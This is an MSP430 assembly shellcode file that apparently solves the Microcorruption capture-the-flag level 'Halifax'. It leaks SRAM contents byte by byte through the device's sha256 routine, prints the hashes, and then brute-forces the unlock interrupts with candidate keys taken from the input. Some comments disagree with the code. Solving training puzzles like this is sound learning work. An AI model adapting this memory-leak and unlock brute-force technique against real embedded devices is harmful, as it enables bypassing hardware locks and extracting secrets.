MicroCorruption/25-Halifax/shellcode.asm

; just hash the first 0x140 B and stick them in memory
; 6000 1c 0b43 1e43 3d400080 0f4b b012b645 3d500300 1b53 3b904001 f72b 3041

; Compile with this fork of msprobe:
const:
.define msize  0x1    ; length of each hash in bytes
.define hsize  0x3    ; bytes kept per hash (only needs to be 3 to determine 1 byte of sram)
.define sr_len 0x140  ; number of bytes in sram to dump
.define ha_len 0x3c0  ; number of bytes in hash array (hsize * sr_len)
.define haddr  0x7000 ; address of the big hash array
.define iaddr  0x8000 ; address of the sram input buffer
.define kaddr  0x9000 ; address of the key buffer
external_data:
.define HEX_LUT 0x4710; "0123456789ABCDEF"
external_func:
; INT(int interrupt, ...)
.define INT             #0x4550
; getsn(void *dest, size_t len)
.define getsn           #0x4568
; putchar(char character)
.define putchar         #0x4578
; puts(char *str)
.define puts            #0x4586
; memcpy(void *dest, void *src, size_t len)
.define memcpy          #0x45a4
; sha256_internal(void * sram_addr, size_t sr_len, void * sha_buf)
.define sha256_internal #0x45b6
; memset(void* buf, char value, size_t length)
.define memset          #0x45c8

get_sram_hashes:
clr   r11            ; loop variable in r11
mov   #msize, r14    ; r14 = 1
mov   #haddr, r13    ; set destination to 0x8000
sr_loop:
mov   r11, r15       ; mov addr r15
call  sha256_internal; <sha256_internal>
add   #hsize, r13    ; keep 3 bytes of the output
inc   r11            ; inc r11
cmp   #sr_len, r11        ; do that 0x1000 times
jnc   sr_loop

print_hex:
clr   r11;
ph_loop:
mov.b haddr(r11), r14
mov.b r14, r15
rra   r15            ; using rra here instead of rra.b means the value won't roll into the highest bit
rra   r15            ; which negates the need to and 0xf, r15
rra   r15
rra   r15
clrc
and   #0xf, r14
mov.b HEX_LUT(r15), r15
call  putchar        ; <putchar>
mov.b HEX_LUT(r14), r15
call  putchar        ; <putchar>
inc   r11            ; inc r11
cmp   #ha_len, r11        ; do that sram_length*3 times
jnc   ph_loop

mov.b #0xa, r15      ; '\n'
call  #0x4578        ; putchar ('\n')


take_input:
; 3e4040003f400090b0126845
mov   #sr_len, r14
mov   #iaddr, r15
call  getsn          ; <getsn>

check_all_passwords:
;for i in 0..sr_len:
clr   r9
pw_loop:
; 	memcpy(kaddr, iaddr + i, len)
mov   #10, r13
mov   #iaddr, r14
add   r9, r14
mov   #kaddr, r15
call  memcpy
; INT (0x42, key)
push  #kaddr
push  #42
call  INT
add   #4, sp
; INT(7f)
unlock7f:
push  #0
push  #0
push  #7f
call  INT
add   #6, sp
inc   r9
cmp   #sr_len, r9
jl    pw_loop

end:
ret